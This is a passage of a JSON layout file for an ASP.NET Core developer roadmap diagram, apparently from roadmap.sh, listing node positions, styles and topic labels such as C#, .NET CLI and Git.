17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 463,\n      \"height\": 609,\n      \"style\": {\n        \"width\": 463,\n        \"height\": 609\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 313.1557525665048,\n        \"y\": 1799.1664942178645\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 463,\n        \"height\": 609\n      }\n    },\n    {\n      \"id\": \"UwJdUMdYf1qAlMHOdcLPK\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 25.04192151113341,\n        \"y\": 1773.460323803236\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 132,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 132\n      },\n      \"positionAbsolute\": {\n        \"x\": 25.04192151113341,\n        \"y\": 1773.460323803236\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 132\n      }\n    },\n    {\n      \"id\": \"WYon24IKmo8fX_nAQh7YS\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 178.92830313126262,\n        \"y\": 1560.9442094125654\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 178.92830313126262,\n        \"y\": 1560.9442094125654\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 318,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"yMcSPPCMSvCYoh8i3x3d1\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 714.6445601795068,\n        \"y\": 1475.0968472714264\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 180,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 180\n      },\n      \"positionAbsolute\": {\n        \"x\": 714.6445601795068,\n        \"y\": 1475.0968472714264\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 180\n      }\n    },\n    {\n      \"id\": \"Aic1j37JF27iDpCwYWeA6\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 571.9641965658323,\n        \"y\": 1475.9442094125654\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"yMcSPPCMSvCYoh8i3x3d1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 78,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 78\n      },\n      \"positionAbsolute\": {\n        \"x\": 571.9641965658323,\n        \"y\": 1475.9442094125654\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 78\n      }\n    },\n    {\n      \"id\": \"bm3XEtLCUU23rU2HhHnSY\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 267.9283031312626,\n        \"y\": 1540.9442094125654\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"WYon24IKmo8fX_nAQh7YS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 267.9283031312626,\n        \"y\": 1540.9442094125654\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"LK_owhdD3K5uAYG5fD92w\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 257.39029212267985,\n        \"y\": 1376.0968472714264\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 177,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 177\n      },\n      \"positionAbsolute\": {\n        \"x\": 257.39029212267985,\n        \"y\": 1376.0968472714264\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 177\n      }\n    },\n    {\n      \"id\": \"UK9l45WqokS_YM1P8-v3A\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 323.6803864110923,\n        \"y\": 1281.065016026603\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 80,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 80\n      },\n      \"positionAbsolute\": {\n        \"x\": 323.6803864110923,\n        \"y\": 1281.065016026603\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 80\n      }\n    },\n    {\n      \"id\": \"XSavYIlcsJ3APyYQypnBc\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 79.81132975781338,\n        \"y\": 1080.6168625008675\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 79.81132975781338,\n        \"y\": 1080.6168625008675\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"ZTsi2oL00lox_bz27-hDO\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -288.1886702421866,\n        \"y\": 1021.4442094125654\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 372,\n      \"height\": 461,\n      \"style\": {\n        \"width\": 372,\n        \"height\": 461\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -288.1886702421866,\n        \"y\": 1021.4442094125654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 372,\n        \"height\": 461\n      }\n    },\n    {\n      \"id\": \"h2z_qviXhvmdnwk5eiA05\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 27.95423833729052,\n        \"y\": 672.4543464224016\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 190,\n      \"height\": 156,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 156\n      },\n      \"positionAbsolute\": {\n        \"x\": 27.95423833729052,\n        \"y\": 672.4543464224016\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 156\n      }\n    },\n    {\n      \"id\": \"qGXjjY3jOUKsBdXqFJVnv\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 103.11914288676098,\n        \"y\": 951.6516938508362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 103.11914288676098,\n        \"y\": 951.6516938508362\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"ieJjbRAxSGYLPkmaWFJus\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 256.89029212267985,\n        \"y\": 485.18247733449107\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 582,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 582\n      },\n      \"positionAbsolute\": {\n        \"x\": 256.89029212267985,\n        \"y\": 485.18247733449107\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 582\n      }\n    },\n    {\n      \"id\": \"_JbWIWlgwaMHYYi8W48oO\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 640.5854863036282,\n        \"y\": 756.9078325432466\n      },\n      \"width\": 150,\n      \"height\": 196,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 640.5854863036282,\n        \"y\": 756.9078325432466\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 196\n      }\n    },\n    {\n      \"id\": \"_-k1suoaD64ZOMLrS2OeH\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 536.3768792343918,\n        \"y\": 884.1516938508362\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 185,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 185\n      },\n      \"positionAbsolute\": {\n        \"x\": 536.3768792343918,\n        \"y\": 884.1516938508362\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 185\n      }\n    },\n    {\n      \"id\": \"uT9PXHnbTWga5vLIfBr50\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 494.9283031312626,\n        \"y\": 1048.1168625008675\n      },\n      \"width\": 288,\n      \"height\": 152,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 152\n      },\n      \"selected\": true,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": 494.9283031312626,\n        \"y\": 1048.1168625008675\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 152\n      }\n    },\n    {\n      \"id\": \"fUyJsuZx-zLIz_nQ8HZRl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 363.3768792343918,\n        \"y\": 486.18247733449107\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"_y6A_pwr-8jDIOoLx9QHC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 75,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 75\n      },\n      \"positionAbsolute\": {\n        \"x\": 363.3768792343918,\n        \"y\": 486.18247733449107\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 75\n      }\n    },\n    {\n      \"id\": \"coNWBnrx1oAfS9UgILkSJ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 328.96419656583225,\n        \"y\": 556.1824773344911\n      },\n      \"width\": 294,\n      \"height\": 279,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 279\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.96419656583225,\n        \"y\": 556.1824773344911\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 279\n      }\n    },\n    {\n      \"id\": \"DVPKdE0w11vA197x__RXo\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -114.84081712321631,\n        \"y\": 375.8564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 15,\n      \"height\": 108,\n      \"style\": {\n        \"width\": 15,\n        \"height\": 107.5435791015625\n      },\n      \"positionAbsolute\": {\n        \"x\": -114.84081712321631,\n        \"y\": 375.8564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 15,\n        \"height\": 108\n      }\n    },\n    {\n      \"id\": \"qw0r959sbdXLP0-GYBf5w\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -237.8408171232163,\n        \"y\": 375.8564029892008\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"DVPKdE0w11vA197x__RXo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 15,\n      \"height\": 108,\n      \"style\": {\n        \"width\": 15,\n        \"height\": 107.5435791015625\n      },\n      \"positionAbsolute\": {\n        \"x\": -237.8408171232163,\n        \"y\": 375.8564029892008\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 15,\n        \"height\": 108\n      }\n    },\n    {\n      \"id\": \"c58fcsthBlVfzfr-MHdpF\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 256.89029212267985,\n        \"y\": -109.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 256.89029212267985,\n        \"y\": -109.59925177765109\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 156.89029212267985,\n        \"y\": -43.59925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ASP.NET Core\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": 156.89029212267985,\n        \"y\": -43.59925177765109\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"kpF15oUmlUmk1qVGEBB7Y\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 421.119142886761,\n        \"y\": -115.9573697023546\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 421.119142886761,\n        \"y\": -115.9573697023546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 433.619142886761,\n        \"y\": -34.09925177765109\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 433.619142886761,\n        \"y\": -34.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g4hjyQF8-SpjPi8mYtIsk\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 256.89029212267985,\n        \"y\": 15.028193715390685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 99,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 99\n      },\n      \"positionAbsolute\": {\n        \"x\": 256.89029212267985,\n        \"y\": 15.028193715390685\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 99\n      }\n    },\n    {\n      \"width\": 412,\n      \"height\": 121,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 329.993752405053,\n        \"y\": 3007.488386939488\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit Backend path and see what you missed\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 329.993752405053,\n        \"y\": 3007.488386939488\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 412,\n        \"height\": 121\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 412,\n        \"height\": 121\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 433.5766878818748,\n        \"y\": 3128.488386939488\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 433.5766878818748,\n        \"y\": 3128.488386939488\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 85\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 85\n      }\n    },\n    {\n      \"width\": 378,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 352.68684756812684,\n        \"y\": 3064.2129376580287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Backend Roadmap\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 352.68684756812684,\n        \"y\": 3064.2129376580287\n      },\n      \"style\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NEnna_8DstfYH4T9qrP3-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 128.89029212267985,\n        \"y\": 216.72101054939196\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"General Development Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 128.89029212267985,\n        \"y\": 216.72101054939196\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fxANnSiTb2VzA9u-YeBL1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.7391698372666,\n        \"y\": 51.94269326868894\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 535.7391698372666,\n        \"y\": 51.94269326868894\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3GGvuxdfuDwLpNX_gtjCK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 535.7391698372666,\n        \"y\": 104.94269326868894\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \".NET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 535.7391698372666,\n        \"y\": 104.94269326868894\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6HJQ1Evgah0Pki04Z2hQt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 652.3038707552415,\n        \"y\": 104.94269326868894\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \".NET CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 119,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 119,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 652.3038707552415,\n        \"y\": 104.94269326868894\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 119,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 128.89029212267985,\n        \"y\": 107.76582156925141\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Learn the Basics of C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 128.89029212267985,\n        \"y\": 107.76582156925141\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OtdCmkj0SvrGwCUSfm96C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -279.57383949457864,\n        \"y\": 143.02155144086436\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git - Version Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 43,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 43\n      },\n      \"positionAbsolute\": {\n        \"x\": -279.57383949457864,\n        \"y\": 143.02155144086436\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 43\n      }\n    },\n    {\n      \"id\": \"KAZF-mIg-FlfMonfdOLhb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -279.57383949457864,\n        \"y\": 193.02155144086436\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub, GitLab, BitBucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal 